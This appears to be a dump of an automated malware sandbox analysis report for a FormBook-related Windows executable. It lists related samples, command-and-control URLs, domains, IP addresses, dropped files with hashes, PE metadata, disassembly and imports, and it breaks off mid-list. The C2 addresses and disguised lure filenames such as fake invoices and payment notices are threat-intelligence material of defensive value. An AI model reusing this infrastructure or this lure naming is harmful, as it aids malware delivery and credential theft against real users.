	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/?xP7x=Q2EbwnYhq4vEVEYxQpNjsu4gFlGHCs4lBliPtc8X0AIyDwowOCFGn/661E09vvaaF3LvgpjgW8Wvr6GWd63ULodNNE679jqiZ5mYQ2jjCrjO82Z0/3agI7E=&F4=Q0yHy
	GTA5-elamigos.exe	Get hash	malicious	Esquele Stealer	Browse	/api/get/dll
	DHL DOCS 2-0106-25.exe	Get hash	malicious	FormBook	Browse	www.uzshou.world/ricr/
	Order Inquiry.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
43.205.198.29	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.1secondlending.one/j8pv/?ChhG6=J-xs&2O=JIuj9wxSnK6mEyWE+aiov6ee/jFUGAOavn5HAjA8ht24L6v+vQ9uqWj6ig59Dwg+VmGSo2u3Iy71OFL1070b+iEHSPgDI61AbnX1cIuegQgrBk3SzXJVVb4=
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	www.1secondlending.one/j8pv/
	PAYMENT_ADVICE.exe	Get hash	malicious	FormBook	Browse	www.1secondlending.one/6pwo/
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	www.1secondlending.one/j8pv/
	Project Breakdown Doc.exe	Get hash	malicious	FormBook	Browse	www.1secondlending.one/6pwo/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.wine-drinkers.club	PAYMENT_ADVICE.exe	Get hash	malicious	FormBook	Browse	194.245.148.189
www.wine-drinkers.club	Project Breakdown Doc.exe	Get hash	malicious	FormBook	Browse	194.245.148.189
www.supernutra01.online	u549ed5dEA.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	ORDER - 401.exe	Get hash	malicious	FormBook	Browse	172.67.220.36
	01152-11-12-24.exe	Get hash	malicious	FormBook	Browse	104.21.24.198
	DRAFT COPY BL, CI & PL.exe	Get hash	malicious	FormBook	Browse	172.67.220.36
	PO_1111101161.vbs	Get hash	malicious	FormBook	Browse	104.21.24.198
	PAYMENT_ADVICE.exe	Get hash	malicious	FormBook	Browse	104.21.24.198
	Payment-251124.exe	Get hash	malicious	FormBook	Browse	104.21.24.198
	DO-COSU6387686280.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.24.198
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	172.67.220.36
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	172.67.220.36
www.1secondlending.one	Recibos.exe	Get hash	malicious	FormBook	Browse	43.205.198.29
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	43.205.198.29
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	43.205.198.29
	PAYMENT_ADVICE.exe	Get hash	malicious	FormBook	Browse	43.205.198.29
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	43.205.198.29
	PAYROLL LIST.exe	Get hash	malicious	FormBook	Browse	43.205.198.29
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	43.205.198.29
	Project Breakdown Doc.exe	Get hash	malicious	FormBook	Browse	43.205.198.29
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	43.205.198.29

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	psibx9rXra.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	bkTW1FbgHN.exe	Get hash	malicious	FormBook	Browse	104.21.7.187
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	Message 2.eml	Get hash	malicious	Unknown	Browse	172.64.41.3
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	frosty.arm.elf	Get hash	malicious	Mirai	Browse	104.23.145.230
CSLDE	OVZizpEU7Q.exe	Get hash	malicious	FormBook	Browse	194.245.148.189
	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	194.245.148.189
	miori.arm.elf	Get hash	malicious	Unknown	Browse	194.245.229.87
	sh4.elf	Get hash	malicious	Mirai	Browse	194.245.229.64
	Fantazy.arm7.elf	Get hash	malicious	Mirai	Browse	194.245.230.66
	nabmips.elf	Get hash	malicious	Unknown	Browse	159.25.86.139
	nshkmpsl.elf	Get hash	malicious	Mirai	Browse	194.245.230.82
	z1enyifdfghvhvhvhvhvhvhvhvhvhvhvhvhvhvhvh.exe	Get hash	malicious	FormBook	Browse	194.245.148.189
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	194.245.186.15
	PAYMENT_ADVICE.exe	Get hash	malicious	FormBook	Browse	194.245.148.189
LILLY-ASUS	frosty.arm.elf	Get hash	malicious	Mirai	Browse	43.62.215.242
	frosty.spc.elf	Get hash	malicious	Mirai	Browse	40.222.102.237
	frosty.x86.elf	Get hash	malicious	Mirai	Browse	42.64.174.137
	frosty.sh4.elf	Get hash	malicious	Mirai	Browse	40.58.230.116
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	43.153.232.152
	secured File__esperion.com.html	Get hash	malicious	Phisher	Browse	43.152.64.207
	sora.arm.elf	Get hash	malicious	Mirai	Browse	40.28.234.65
	3.elf	Get hash	malicious	Unknown	Browse	40.6.208.55
	5.elf	Get hash	malicious	Unknown	Browse	43.126.67.223
	5.elf	Get hash	malicious	Unknown	Browse	43.15.214.40
COGENT-174US	psibx9rXra.exe	Get hash	malicious	FormBook	Browse	154.23.178.183
	OVZizpEU7Q.exe	Get hash	malicious	FormBook	Browse	38.181.21.178
	pKXxiawkTj.exe	Get hash	malicious	XWorm	Browse	154.39.0.150
	frosty.arm.elf	Get hash	malicious	Mirai	Browse	154.62.137.46
	frosty.spc.elf	Get hash	malicious	Mirai	Browse	38.148.77.12
	frosty.sh4.elf	Get hash	malicious	Mirai	Browse	23.154.10.225
	cNDddMAF5u.exe	Get hash	malicious	FormBook	Browse	154.23.178.231
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	38.181.21.54
	https://sign-as.allarknow.online/	Get hash	malicious	Unknown	Browse	50.7.127.10
	http://pdfdrive.com.co	Get hash	malicious	Unknown	Browse	143.244.56.53

Process:	C:\Windows\SysWOW64\powercfg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aut2D31.tmp

Download File

Process:	C:\Users\user\Desktop\wWXR5js3k2.exe
File Type:	data
Category:	dropped
Size (bytes):	10806
Entropy (8bit):	7.4826163425545404
Encrypted:	false
SSDEEP:	192:J1Eu3FqgxVh4QgU0nIWW7j6QWLqngZsIsv26W26KXbkEB/:JjVh4QgU4Id7jRWGncZsvs2TXbkEF
MD5:	5D201F82EFD947F911484C1BB5B1DE5C
SHA1:	EEE9C3182A82B81E0496B7DA3DCAE5472B091B7D
SHA-256:	64253D19E548B8A144BC1ACFAE1D2445D214327CAA9A386072C1B8899EEE6C37
SHA-512:	1F8260F476233DE54E69F277130D20FBDC4F2FF4788C8DC84D19FCE2ABB49FF69FBE2E17013E87B612F7779CAF0D1663A310616EF88C1BCB93B73C1663139958
Malicious:	false
Reputation:	low
Preview:	EA06..p..MlV9...2.L&.y.`..Nf.I...&.M.3 .,N'.P..X@..c.....e.L..q0.....2....i8....m9.-.p.m.......@..d.Y..k..n.....N.....X@.........l.@....Y&...... ...`fs..$......`.u............p.......`....L.`...Zi9..v..W....l.{..M.^.....@.....'30...G{e.....w.....X@i.8..{h..3K....S..mL.=..!...v.Z....]..`..S.....\|..9..rjd....N...:.4....`.5.o5.Y,.i..kc...@.`....Y....h.-...(.X...+,.od...VI...c..'.)....y..z.d..l......Y....e.Y... .g,.)....`.......Z.,..o6..!h...k ..5...\|@O..[@...L.!>y..h.Y..g3...G.0.Y,.I..'.d.L,@..(.i5.X.lvK$....Xf......t.....lsy...d..B\|S........&. ..i5...s..Y...ae...g3.4..s.L.s..O.k1.M.,>[$.gd.X.ls.....@...Ll...,.a2...\|.....S........ .ba6..)l.....S....[`..........@...ob...j......mc.B.l........q&.._..36.L' JZ..!n.b...l......F.....c8..&...Rgd.L.$...S0.Nl@}..b...,sY...<.X.f...k8.N&.....c.M...2..............4.P.,.9..b...(.0..M.Q1b..@. .H.a..@.....7S... .;.L.'s1.M."`...`....@.............5..&.......J..kS..........'..X.L'......&....zb.d.L....b..&SI.A.3.....a:kf....h..a..f.Rh.

C:\Users\user\AppData\Local\Temp\aut2DFD.tmp

Download File

Process:	C:\Users\user\Desktop\wWXR5js3k2.exe
File Type:	data
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	7.992456378879009
Encrypted:	true
SSDEEP:	6144:QKzTttzrvDbtOz3TBq5NdJsIcacOWcwS7CcoZe2a:QqrbCZJnShoNa
MD5:	E344F9FEFD8E172F3EDA2D79A5051804
SHA1:	EDFCC265011CECFF50609485CE46052CD48D62E8
SHA-256:	FA59FA82194B3FE06FF6D8085782EB3150BCD64B76B7F365EA3DC4D2B2BEB940
SHA-512:	C3D5750B1E16B82FDED759B94DA9D4E103DCC8E792B0078AC8B1CB82BE246CBFA94F53B01D2D78DC68373EED74BBCE1AE254D7C1C177D2C4FEAB424C29561B40
Malicious:	false
Preview:	x..73KDT6Q5K..0K.T2Q5KO7pKDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q.KO7>T.Z2.<.n.1..uf9\8oGB$#&S<.(.Y^$0tP4.9:Y."tv.fk"XT.jY?[.KO70KDTKP<.rWW.y4U..+(....1R.U...x4U./....+#.`8V#rWW.DT2Q5KO7`.DT~P4K.,Z.DT2Q5KO7.KFU9P>KOm4KDT2Q5KO7._DT2A5KOG4KDTrQ5[O70IDT4Q5KO70KBT2Q5KO70;@T2S5KO70KFTr.5K_70[DT2Q%KO'0KDT2Q%KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KaCU30T2QA.K70[DT2.1KO'0KDT2Q5KO70KDT.Q5+O70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q

C:\Users\user\AppData\Local\Temp\caulds

Download File

Process:	C:\Users\user\Desktop\wWXR5js3k2.exe
File Type:	data
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	7.992456378879009
Encrypted:	true
SSDEEP:	6144:QKzTttzrvDbtOz3TBq5NdJsIcacOWcwS7CcoZe2a:QqrbCZJnShoNa
MD5:	E344F9FEFD8E172F3EDA2D79A5051804
SHA1:	EDFCC265011CECFF50609485CE46052CD48D62E8
SHA-256:	FA59FA82194B3FE06FF6D8085782EB3150BCD64B76B7F365EA3DC4D2B2BEB940
SHA-512:	C3D5750B1E16B82FDED759B94DA9D4E103DCC8E792B0078AC8B1CB82BE246CBFA94F53B01D2D78DC68373EED74BBCE1AE254D7C1C177D2C4FEAB424C29561B40
Malicious:	false
Preview:	x..73KDT6Q5K..0K.T2Q5KO7pKDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q.KO7>T.Z2.<.n.1..uf9\8oGB$#&S<.(.Y^$0tP4.9:Y."tv.fk"XT.jY?[.KO70KDTKP<.rWW.y4U..+(....1R.U...x4U./....+#.`8V#rWW.DT2Q5KO7`.DT~P4K.,Z.DT2Q5KO7.KFU9P>KOm4KDT2Q5KO7._DT2A5KOG4KDTrQ5[O70IDT4Q5KO70KBT2Q5KO70;@T2S5KO70KFTr.5K_70[DT2Q%KO'0KDT2Q%KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KaCU30T2QA.K70[DT2.1KO'0KDT2Q5KO70KDT.Q5+O70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q5KO70KDT2Q

C:\Users\user\AppData\Local\Temp\piceworth

Download File

Process:	C:\Users\user\Desktop\wWXR5js3k2.exe
File Type:	ASCII text, with very long lines (28674), with no line terminators
Category:	dropped
Size (bytes):	28674
Entropy (8bit):	3.5735499298872506
Encrypted:	false
SSDEEP:	768:Mu8vDyvojb1UiS6XdHr4iHiTogmPNoFma:wDoojb1UP6Zr4iHiToRSma
MD5:	229FB6BC57A6D0E975A39A18AAFFD395
SHA1:	D440F95F4C38F5EFC0A33F4051BA5E957C3490AF
SHA-256:	7D28F04A0A659D688A31DC1772DD9887F84DCC2C2B05FE4558F18072363CDFF0
SHA-512:	66CDD8EED4654C17445BF1F9F216D2D9AFDA2E2368DA388DCB72C981245EC895825C0134A0A3B0DC9DD654B20FFB2DC7269F4FE21B5EE847B8533D7988FA245A
Malicious:	false
Preview:	x5bc1cc200678b00069549500069d6a200069588e000695a9500069dcac000695e8300069509200069d2ae00069548400069569c00069d8ac000695a30695c9e00069d4fffa40006956fff840006958fff9c00069dafffac000695cfff8e000695efff9400069d0fffac0006952fff8c0006954fff3969d6fffa500069508300069529500069d4a200069568300069589200069daae000695c84000695e9c00069d0ac00069523069549100069d8fffa4000695afff86000695cfff9100069defffa00006950fff890006952fff9300069d4fffa20006956fff8e0006958fff9400069dafffac000695cfff8c000695efff3969d0a300069508800069529c00069d4a700069568100069589000069daa9000695c8e000695e9400069d0ac00069528c00069543969d6a3000695888000695a9500069dcac000695e8c00069509300069d2a200069548e00069569400069d8ac000695a8c000695c3969de754dff7c5cd54dff958dff75cdff19e4d54dff950eff754eff2e77dd4dff9d8eff75ceff8b86d58dff950eff754effade9d5cdff958eff75ceff2dbeddcdff9d0eff754effd260d54dff958eff75ceff9860d5cdff950eff754eff5764ddcdff9d8eff75ceff6d69d50dff950eff754eff892bd50dff958eff75ceff8d2eddcdff9d0eff754effd944d50dff958eff75ceffe98bd54df

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.116731243694267
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	wWXR5js3k2.exe
File size:	1'326'080 bytes
MD5:	9d8150f9b27a2a93925717d361add951
SHA1:	92f4860eda8a22e43fc777b64c590891280d6a80
SHA256:	919e47baabe9cc5fe28aa098991efc624b4cfe2c4008ce036a35b49edc438a4d
SHA512:	f42b18b50e89001466a1ddf3a88b35b5139ba1d1f0988e208a25629df3733caf80e38d749b783ce297a434b6a1365bfd6d958254649c6573db78e1932f57b799
SSDEEP:	24576:7u6J33O0c+JY5UZ+XC0kGso6FaOFfrcHNZs9rBNwBV9m1JHeWY:1u0c++OCvkGs9FaOVcM9r4A/Y
TLSH:	8255BF12A3DD8360CA665633BF2A77016E7B7C256D34F85B1F843C79AB731A1122C663
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	0d61030111110104

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F772D [Mon Dec 16 00:41:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FD7C5130C9Ah
jmp 00007FD7C5123A64h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FD7C5123BEAh
cmp edi, eax
jc 00007FD7C5123F4Eh
bt dword ptr [004C31FCh], 01h
jnc 00007FD7C5123BE9h
rep movsb
jmp 00007FD7C5123EFCh
cmp ecx, 00000080h
jc 00007FD7C5123DB4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FD7C5123BF0h
bt dword ptr [004BE324h], 01h
jc 00007FD7C51240C0h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FD7C5123D8Dh
test edi, 00000003h
jne 00007FD7C5123D9Eh
test esi, 00000003h
jne 00007FD7C5123D7Dh
bt edi, 02h
jnc 00007FD7C5123BEFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FD7C5123BF3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FD7C5123C45h
bt esi, 03h
jnc 00007FD7C5123C98h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x7b24c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x143000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x7b24c	0x7b400	f5fe3e684448d35891964b7216a5ebc9	False	0.8383323561105477	data	7.4335009524873605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x143000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7548	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc7670	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc7798	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc78c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 5905 x 5905 px/m	English	Great Britain	0.4397163120567376
RT_ICON	0xc7d28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 5905 x 5905 px/m	English	Great Britain	0.3449812382739212
RT_ICON	0xc8dd0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 5905 x 5905 px/m	English	Great Britain	0.3120331950207469
RT_ICON	0xcb378	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 5905 x 5905 px/m	English	Great Britain	0.2896197449220595
RT_ICON	0xcf5a0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 5905 x 5905 px/m	English	Great Britain	0.24670235419377737
RT_ICON	0xdfdc8	0xe41e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.000188362615158
RT_MENU	0xee1e8	0x50	data	English	Great Britain	0.9
RT_STRING	0xee238	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xee7cc	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xeee58	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xef2e8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xef8e4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xeff40	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xf03a8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xf0500	0x517e6	data			1.0003325364441968
RT_GROUP_ICON	0x141ce8	0x5a	data	English	Great Britain	0.7888888888888889
RT_GROUP_ICON	0x141d44	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x141d58	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x141d6c	0x14	data	English	Great Britain	1.25
RT_VERSION	0x141d80	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x141e5c	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, 